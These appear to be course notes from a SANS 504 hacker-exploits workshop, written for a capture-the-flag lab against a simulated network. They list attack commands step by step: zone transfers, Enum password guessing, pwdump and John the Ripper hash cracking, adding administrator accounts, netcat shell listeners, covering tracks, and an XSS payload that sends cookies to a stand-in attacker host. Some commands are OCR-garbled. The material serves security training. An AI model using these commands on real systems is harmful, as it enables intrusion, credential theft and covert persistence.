**5) 504.6 - Computer & Network Hacker Exploits, WORKSHOP**

504.6 - Hacker Tools Workshop\6.1 Hacker Exploits Hands-On:  
  
Most ImportantTools to Use Today  
• Very Important:  
— Nmap: Port scanning and OS fingerprinting (Linux)  
— Nessus: Vulnerability scanning (Linux)  
— Netcat: Backdoors and file transfer (Windows and Linux)  
— Enum: Determining users and groups, and password guessing (Windows)  
— Metasploit: Exploiting vulnerable targets (Linux and Windows)  
— John the Ripper: Password cracking (Linux and Windows)  
— Fgdump: Remote SAM password hash dumper (Windows)  
• Everything you need to win the game is included in this environment  
  
  
  
Step I: Overview of Reconnaissance:  
• Acquire Domain Name  
• Open Source  
• Whois lookup  
• ARiNlookup  
• DNS Interrogation  
  
Acquire Domain Name  
• No connection to the Internet (we want to control the environment), so we Will simulate the next steps  
Let’s pick a target organization  
• How about an organization named “SANS 504 Target Company” with domain name “target.tgt”?  
• They are the owner of Target Widgets, producer of the finest Widgets in the world  
• Analyze their websites and think about the business service that each offers  
  
  
Do a Whois search for target.tgt!  
  
You will notice:  
FRED.TARGET.TGT at 10.10.10.45  
  
  
DNS Interrogation - Zone Transfer:  
• To perform a zone transfer, we can use nslookup in Windows or dig in Linux  
• Windows:  
C:\> nslookup  
> server 10.10.10.45  
> ls -d target.tgt  
  
• Linux:  
# dig @10.10.10.45 target.tgt —t AXFR  
  
• Goal is to harvest target IP addresses  
  
  
Step 2: Overview of Scanning  
• Ping Sweeping (Nmap)  
• Port: Scanning (Nmap)  
• OS Fingerprinting (Nmap)  
• Vulnerability Scanning (Nessus)  
• Null Sessions (Windows)  
  
  
Server Discovery — Exercise  
• Using Nmap, try to fill out information about the target servers  
• Use the templates earlier in this book  
• Draw a diagram of the network, based on the discovery phase (the diagram will be simple!)  
• Include the following:  
— Topology layout  
— IP addresses  
— Open ports, with services and versions if possible  
— Operating system type  
  
  
Enum Against Windows:  
• Don’t forget to run Enum against all discovered Windows machines  
— Enum With various flags will be useful:  
C:\> enum —U [target IPaddr]  
C:\> enum —G [target IPaddr]  
C:\> enum -D —u [user) —f [password.lst) [targettP)  
— For enum —D, please make sure your system can speak NTLMv1  
Run secpoLmsc  
Go to Local PoliciesSecurity --> Options --> Network Security:  
LAN Manager Authentication  
Level  
• Make sure it is set to “Send LM & NTLM responses”.  
  
  
Step 3: Gaining Access:  
• Run exploits  
• Depends on what was discovered during Phase 2  
• Automated password guessing?  
• Common Windows attacks?  
• Metasploit exploitation  
• Easily cracked passwords?  
• Buffer overflow vulnerabilities?  
• Others?  
  
  
Compromising Additional Machines  
• Once one machine is compromised, attackers can use it as a jumping off point for other attacks  
— Exploit Windows $MB sessions between target machines  
• Net use, at, etc.  
— Crack passwords, and look for systems where users have set up identical passwords on multiple machines.  
  
  
Step 4: Keeping Access  
• Planting Netcat backdoor  
• Use Metasploit shell or Meterpreter payloads  
• Deploying VNC  
• Others?  
• DO NOT put Rootkits on the target machines; too risky.  
  
  
Step 5: Covering the Tracks  
• Creating hidden files on Linux  
— Directories named  
• Creating hidden files on Windows  
— Alternate data streams  
• Don’t forget about shell history files!  
— Could be useful for you to see what others are attempting  
— You might want to cover your tracks by deleting your own shell histories on my machines.  
  
Bulding a Lab at Home:  
• Windows 2012 Server, IIS  
• Linux, FTP Apache  
• Windows 8, File Sharing  
• openBSD, NFS, OpenSSH.  
  
  
Capture the Flag Contest  
• We’ll play a game of capture the flag  
• There are four regular flags and one bonus flag  
— flag1.txt, flag2.txt, flag3.txt, and flag4.txt  
— and bonusflag.txt  
— All flags located in the top of the directoiy structure (inside c : \ on Windows and / in Linux)  
• Each flag provides you information about a “Phrase that pays"  
• Break in to my machines, look at the flags, and determine the phrase that pays.  
  
  
Are you READY?  
Remember the attack process:  
1. Reconnaissance  
2. Scanning  
3. Exploiting Systems  
4. Keeping Access — Backdoors and Trojans  
5. Covering the Tracks  
• Are there any questions on the ground rules or the Capture the Flag game?  
• ASK NOW!!  
  
  
DNS Interrogation:  
• To attempt a zone transfer from a Windows system  
- C:\> nslookup  
—> server 1O.1O.1O.45  
-> ls —d target.tgt  
• To attempt a zone transfer from a Unix system  
- #dig @10.10.10.45 target.tgt —t AXFR  
  
  
Nmap:   
• Run an “Aggressive” Nmap scan (scan, OS fingerprint, version scan and NSE scripts) and save output to a file for future reference  
- # nmap —A <target> --reason —o <file>  
  
• Scan specific port(s) on target  
- # nmap -p <port(s)> <target> --reason  
  
• Perform a version scan on specific port(s)  
# nmap —sV -p <port(s)> <target> --reason  
  
• Additional options you might find helpful  
- --reason         (shows target response)  
- --packet\_trace     (shows packet details)  
- --traceroute         (shows network topology)  
  
  
Enum (to enumerate passwords):  
• To use Enum to enumerate information about a Windows target  
• Enumerate User Accounts  
C: \> enum —U [target]  
• Enumerate Password Policy Information  
- C: \> enum —P [target]  
• Enumerate Groups  
C: \> enum —G [target]  
• You can combine the options  
- C: \> enum —UGP [target]  
• Run a dictionary attack against a target  
- C:\> enum —D —u [user] —f [wordfile] [target]  
  
  
Appendix: Helpful commands Pwdump:  
• To dump the passwords from a remote machine that you have an admin level user ID and password for  
- C:\> pwdump3 10.10.10.9 [outfile] [user]  
  
• Then enter the password for the user id you used.  
  
  
Metasploit:  
- steps to setup an exploit/payload combo  
- we will use psexec once we know the username and password.  
(exploit/windows/smb/psexec).  
  
  
John The Ripper  
• Linux: To unshadow a passwd file  
- # unshadow /etc/passwd /etc/shadow > /tmp/combined  
• Linux: To crack an un-shadowed password file  
- # john /tmp/combined  
• Windows: To crack a file with Windows hashes  
- C:\> john <hash file>  
• Remember to delete “john.pot” when you want to restart a cracking session or it Will pick up where it left off.  
  
  
Windows Net Commands:  
• To create an Administrator-level account  
- C:\> net user /add [user] [password]  
- C:\> net localgroup administrators /add [user]  
  
• To delete a user account that you’ve created  
— C:\> net user [user] /delete  
• Map a local drive letter to the remote target’s C$ (requires Administrator-level credentials)  
- C:\> net use \* \\[target]\C$ [password] /u:[targetlP]\[user]  
• To delete all of your net use sessions (careful)  
C:\> net use \* /d /y  
  
  
Remote Access  
•VNC  
— $ vncviewer  
•$SH  
- $ ssh User@<TargetIP>  
• Telnet  
- $ telnet <TargetIP>  
  
  
Netcat:  
• To create a netcat listener (Example)  
# nc -lnvp 7777  
• To connect to a port (Example)  
# nc —nv 192.168.1.3 7777  
• To shovel a shell (Linux Example)  
- # nc —lnvp 7777 —e /bin/sh  
• To shovel a shell (Windows Example)  
# nc —lnvp 7777 —e cmd.exe  
To shovel the contents of a file  
- # no —lnvp 7777 < file.txt  
• To set up a persistent Linux listener  
- # while [ 1 ]; do echo “Started”; no —lnp [port] —e /bin/sh; done  
  
  
Miscellaneous:  
• To compile and run exploit code  
- $ gcc <exploit source> -o <outfile>  
- $ ./<outfile>  
• What user am I in Linux?  
$ whoami  
$ id  
• Become root if you have the password  
$ su -   
  
  
Vi Editor:  
• To open or create a new file  
# vim <file>  
• Once in a file, to enable editing  
— Press ‘a’  
• When done editing  
- Press ‘esc’ then ‘:‘ then ‘wq!’  
  
  
Hydan:  
• To hide data  
# echo “Hello there.” > hideme.txt  
- # ./hydan ./ls hideme.txt > <outfile>  
  
• To retrieve data  
- # ./hydan-decode <stegofile>  
• Enter password when prompted  
  
  
Hydan is in:  
/home/tools/hydan  
  
  
  
Cross-Site Scripting Example:  
• To display an alert (example)  
- http: //counterhack.net/search.php?word=<SCRIPT LANGUAGE=Javascript>alert(“You are vulnerable to cross-site scripting! “);</SCRIPT>  
• Script to steal cookies from a victim (example)  
- http://counterhack.net/search.php?word=<SCRIPT>document.location=‘http://attackersite/cgi-bin/grab.cgi?’%2bdocument.cookie;</SCRIPT>  
  
Video!!!!!!  
  
  
###############################